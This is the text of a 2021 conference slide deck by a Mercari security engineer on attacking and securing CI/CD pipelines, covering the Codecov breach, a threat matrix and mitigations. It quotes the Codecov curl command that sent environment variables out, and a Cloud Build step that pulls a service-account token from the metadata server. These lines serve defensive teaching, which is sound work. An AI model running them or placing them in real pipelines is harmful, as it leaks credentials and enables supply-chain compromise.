1 v1.05 Attacking and Securing CI/CD Pipeline Oct 20, 2021 CODE BLUE 2021 OpenTalks Mercari, Inc. Security Engineering Team Hiroki SUEZAWA

2 Disclaimer ● This purpose of this presentation is to share Mercari’s insights on securing the CI/CD pipeline with the cybersecurity community and to help other companies to secure their CI/CD pipelines.

3 ● Title ○ Security Engineer at Mercari, Inc. ■ Security Architect, Automation, DFIR ● Career, Presentations ○ https://www.suezawa.net ● Interest ○ Infrastructure Security ■ Kubernetes, Container, Linux, Cloud ○ Go Language ● Certifications ○ GXPN, GREM, OSEP @rung @rung Hiroki SUEZAWA /in/suezawa

4 The Mercari app is a C2C marketplace where individuals can easily buy and sell used items.

5 Agenda ● Why the CI/CD Pipeline Matters ● Threat Matrix for CI/CD ● Attacking CI/CD ● Securing CI/CD

6 Why the CI/CD Pipeline Matters

7 Trends in Application Development ● DevOps ○ High deployment frequency ○ Short lead time for changes ○ Automation ■ CI (Continuous Integration) ■ CD (Continuous Delivery) ● This trend goes beyond tech companies ○ Government (GovTech) ○ Financial companies (FinTech)

8 What is a CI/CD Pipeline? ● CI/CD pipelines are a core component of DevOps ○ Application Deployment ● CI/CD Pipelines are also used for Infrastructure configuration ○ Infrastructure as Code

9 Tools ● Many vendors provide managed CI/CD services. ○ GitHub Actions ○ AWS CodePipeline ○ Google Cloud Build ○ Azure Pipelines ○ GitLab CI/CD ○ Travis CI ○ CircleCI ○ Terraform Cloud

10 The Potential Impact ● Security incidents related to CI/CD could cause a big impact because: ○ CI/CD is linked to production environment directly ○ Setting credentials as environment variables is common practice ○ Some CI/CD pipelines don’t have isolation between CI and CD by default

11 DevOps at Mercari ● How does DevOps work at Mercari? ○ All deployments go through the CI/CD Pipeline ○ Infrastructure is fully managed as code ○ Test automation is part of our culture ● CI/CD environments are attractive targets for attackers. This is because the environments must handle credentials to allow automation for deployment ○ We made efforts to to secure our core pipelines, however...

12 2021: Codecov Supply-chain Attack ● Codecov: a test coverage tools used in CI/CD pipelines ○ Attacker injected malicious code curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:///upload/v2 || true ■ As a result environment variables were uploaded ○ The injected code went for three months without detection for all over the world https://about.codecov.io/security-update/

13 2021: Codecov Supply-chain Attack See our press release for details: https://about.mercari.com/en/press/news/articles/20210521 _incident_report/ ● Mercari also used CodeCov’s bash uploader, and as a result our credentials stored in env variables were affected ○ This allow the attacker to clone some of our Github repositories

14 Our Incident Response ● Identify ○ Identify all environment variables used in our CI/CD pipeline ○ Identify the impact of Github repositories leaked ○ Investigate logs and monitor ● Contain ○ Revoke all tokens/credentials identified as leaked ○ Add strict network restrictions in our cloud environment ● Remediate ○ REVOKE ALL TOKENS/CREDENTIALS for all cloud services/SaaS we use to prevent potential lateral movement or further loss of data

15 Technical Lessons Learned on CI/CD Pipelines ● Many lessons were learned, but here are the key takeaways: ○ Managed CI/CD is convenient but risky ■ Poor visibility ■ Need stronger security controls on CI/CD ○ Static tokens and keys present a high risk ■ Portable ■ No additional MFA ■ No expiration ■ Difficult to manage centrally ○ Supply-chain management is mandatory ■ Tool and dependency management for the entire CI/CD pipeline ■ Need to verify the integrity of tools

16 The CI/CD Pipeline is the Next Hot Target ● The CI/CD pipeline could be the next hot target for attackers ○ Credentials related to production are there ● Supply-chain attacks are becoming more common ○ 2020: SolarWinds (Reported as nation-state actors) ○ 2021: CodeCov ● On the other hand, the security of the CI/CD environment itself has not been focused on as much as it should be from security perspective.

17 Threat Matrix for CI/CD

18 Threat Matrix for CI/CD Pipelines ● We summarized how CI/CD can be compromised, and how to protect it as a ATT&CK-like threat matrix for CI/CD pipelines ● We published the matrix on GitHub today https://github.com/rung/threat-matrix-cicd ○ Mitigation are included ○ (Feedback is welcome) https://github.com/rung/threat-matrix-cicd

19 How to Use the Matrix ● For Red Teamers ○ You can use it for pentesting ● For Blue Teamers ○ You can use it for monitoring ● For Security Architects ○ You can use it to define requirements for a secure CI/CD architecture.

20 Attacking CI/CD

21 Attacking CI/CD ● Explains general attack surfaces and three examples of attack scenarios: ○ The threat matrix includes various techniques https://github.com/rung/threat-matrix-cicd

22 Attack surfaces - Example Source Code (Git Repository) Developer, SRE Production Build/Test Deploy ✔ Credentials on Env Variables Approver ● Modify CI/CD Configuration ● Modify application source ● Code Exec via IaC ● Supply-chain to Lint, Test, Build Tool ● Get Credentials of Deploy (lack of isolation) ● Supply-chain to Deploy Tool ● Bypass Review Credentials on Env Variables Merged CI CD

23 Attack Scenario 1 - Managed CI/CD Pipeline ● Supply Chain Attacks like CodeCov ○ Circle CI’s Secret Environment Variables has global scope in the same repository. (No isolation between CI and CD) 23

24 Attack Scenario 2 - IaC by Cloud Build ● Infrastructure as Code through the CI/CD pipeline ○ GCP Cloud Build can access Secret Manager transparently if Cloud Build has the appropriate role Workflow

25 Attack Scenario 2 - IaC by Cloud Build Device (Write Permission) Plan Apply ✔ Credential For Cloud Configuration Approver Infrastructure as Code Cloud Build Cloud Build GitHub Secret Manager Merged Cloud Infrastructure Branch: dev Branch: main CI CD C&C 1. Malware Infection via Phishing 2. Kick CI by push and modify cloud build config Metadata Server 3. Metadata server provides Temporary Google Service Account Token 4. Attacker retrieves credential from Secret Manager

26 (Ref) Attack Scenario 2 - IaC by Cloud Build ● 1. Kick CI/CD(GCP Cloud Build) Using Valid Credentials ○ Push from branches run Cloud Build ■ Code Execution ● Modify Cloud Build configuration (cloudbuild.yaml) ● Code Execution through infrastructure as code software tools ○ E.g. Terraform: RCE by provider installation(put provider binary with .tf), External provider ● 2. Privilege Escalation by Metadata’s Service Account Token ○ Most of CI/CD services assign the same role to all branches by default ■ Cloud Build also assigns the same role cloudbuild.yaml (Cloud Build Configuration) steps: - name: 'curlimages/curl' args: ["curl", "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token", "-H", "Metadata-Flavor: Google"]... Retrieves service account token from metadata

27 Attack Scenario 3 - Self-Hosted CI/CD Pipeline ● Privilege Escalation and Lateral Movement to Important Pipelines ○ Example of containerized CI/CD pipeline ● Real World Example (Sep, 2021) ○ Teleport - Anatomy of a Cloud Infrastructure Attack via a Pull Request ■ https://goteleport.com/blog/hack-via-pull-request/

28 Securing CI/CD

29 Securing CI/CD ● Need to build a CI/CD Pipeline which is attack resistant ○ Our threat matrix includes a “Mitigation” column ■ You can use it to design architecture ● Huge attack surface ○ Supply-chain risk is not the only risk inherent in the CI/CD pipeline. All attack surfaces need to be considered. ● CD requires production-level security ○ If CD can deploy, it should be considered part of production. https://github.com/rung/threat-matrix-cicd

30 Components of CI/CD Architecture Name Tools Device ● Developer Workstation: Mac/Win/Cloud-based Git Repository Service ● GitHub, GitLab CI ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions) CD ● CI/CD Services (e.g. CircleCI, Cloud Build, Codebuild, GitHub Actions) ● CD Services (e.g. Spinnaker, ArgoCD) Secret Management ● Secret Management Services (e.g. AWS Secret Manager, GCP Secret Manager, Hashicorp Vault) Production environment ● Cloud Services (e.g AWS, Google Cloud, Microsoft Azure) ● Other Resources (e.g. Container Registry, Linux Server, Kubernetes)

31 Mitigations - Examples ● Source Code (Git Repository) Device Production Build/Test Deploy ✔ Approver ● Proper Access Controls ● Least Privilege ● Rate Limiting ● Enforce Signed Commits ● Audit Logging and Monitoring Approved Secret Manager ● Network restrictions ● Audit Logging and Monitoring ● Rate Limit CI CD ● Hardened Self-Hosted (Not Managed) which has it’s own network ● Isolation between CI and CD ● Keyless ● Audit Logging and Monitoring ● Doesn’t use untrusted tools ● Tool Integrity Checks ● Blocking Code Execution (Disallow CI/CD config modification without review, etc) ● ● Use Secret Manager through temporary token(Keyless) ● Isolation between main branch and other branches ● Proper key management (Key Rotation, Least Privilege and Separate permission between CI and CD, etc) ● Network Restrictions ● Audit Logging and Monitoring ❌ ❌ Attacker’s Server C&C Egress Restriction Valid Token from External Network ❌ ❌ Network Restriction to API Secret Manager

32 Look back to Common Security Principles ● Credentials for cloud services could be a single point of failure, which can often be used without additional authentication ○ Defense in depth ■ Enable Network Restriction, Isolation between CI and CD, Integrity Checks(Verify each tool, application, library, container image) ○ Least Privilege ■ Always enforce least privilege, i.e Temporary Tokens to access to key management(Keyless), Multi-party authentication(Approval is a must), Proper Key Management ○ Audit logging and Security Monitoring ■ Need to take audit log and security monitoring ● Additional considerations are needed to monorepo architectures ○ Should be isolated by environment folder or context

33 Should you use a managed CI/CD? ● Problems with managed CI/CD Pipelines ○ Lack of visibility and extensibility ○ Shared network between other companies ● Options of self-hosted CI/CD ○ 1. use self-hosted runner with commercial CI/CD ○ 2. build the whole CI/CD infrastructure inhouse based on OSS CI/CD (Operation cost is higher) ● No perfect solution provided! ○ CI/CD security is a still new area. To create a secure CI/CD pipeline, some development is still needed

34 (Ref) Frameworks for Supply-chain Risk ● SLSA: Supply-chain Levels for Software Artifacts ○ June 2021, Google proposed SLSA frameworks ■ https://slsa.dev/ “The software development and deployment supply chain is quite complicated, with numerous threats along the source ➞ build ➞ publish workflow.” “There is an urgent need for a solution in the face of the eye-opening, multi-billion dollar attacks in recent months (e.g. SolarWinds, Codecov), some of which could have been prevented or made more difficult had such a framework been adopted by software developers and consumers.” Google Security Blog - Introducing SLSA, an End-to-End Framework for Supply Chain Integrity (https://security.googleblog.com/2021/06/introducing-slsa-end-to-end-framework.html)

35 (Ref) Best Practices for Supply-chain Security ● CNCF Software Supply Chain Security Paper ○ May 2021, The Cloud Native Computing Foundation(CNCF) published the best practice ■ https://github.com/cncf/tag-security/tree/main/supply-chain-sec urity/supply-chain-security-paper “Preventing supply chain attacks is still a nascent, rapidly developing field.” “This is why the Security TAG has published a new paper, Software Supply Chain Security Best Practices, designed to provide the cloud native and open source communities with a holistic approach to architecting a secure supply chain regardless of whether they are a software producer or consumer.” Evaluating your Supply Chain Security (https://www.cncf.io/blog/2021/05/14/evaluating-your-supply-chain-security/)

36 Summary

37 Summary ● The CI/CD pipeline has a large attack surface ○ Much of the attack surface is open by default ○ However, the security of the CI/CD environment itself has not been focused on as much as it should be from security perspective. ● We shared our original ATT&CK-like threat matrix focused on the CI/CD Pipeline ○ https://github.com/rung/threat-matrix-cicd ○ You can use this map from an offensive or defensive perspective to help secure your organization or customers ● CI/CD security is a still new area. ○ Supply-chain risk is not the only risk for CI/CD Pipelines. The entire attack surface need to be considered ○ To create a secure CI/CD pipeline, some development is still needed

38 References ● Supply Chain Attacks ○ SLSA: Supply-chain Levels for Software Artifacts ○ CNCF Software Supply Chain Best Practices ○ The Insecure Software Supply Chain - A History of Failure and a New Way Forward ● Recent Presentations and Blogs related to Security of CI/CD Pipeline itself ○ [DEFCON29] DEFCON29 Abusing SAST tools When scanners do more than just scanning ○ [DEFCON29 Cloud Village] Attacking Modern Environments Series: Attack Vectors on Terraform Environments - Mazin Ahmed ○ [DevSecCon24] I Spy: An Insecure Delivery Pipeline ○ GitOops! Attacking and defending CI/CD pipelines.

39 Thank you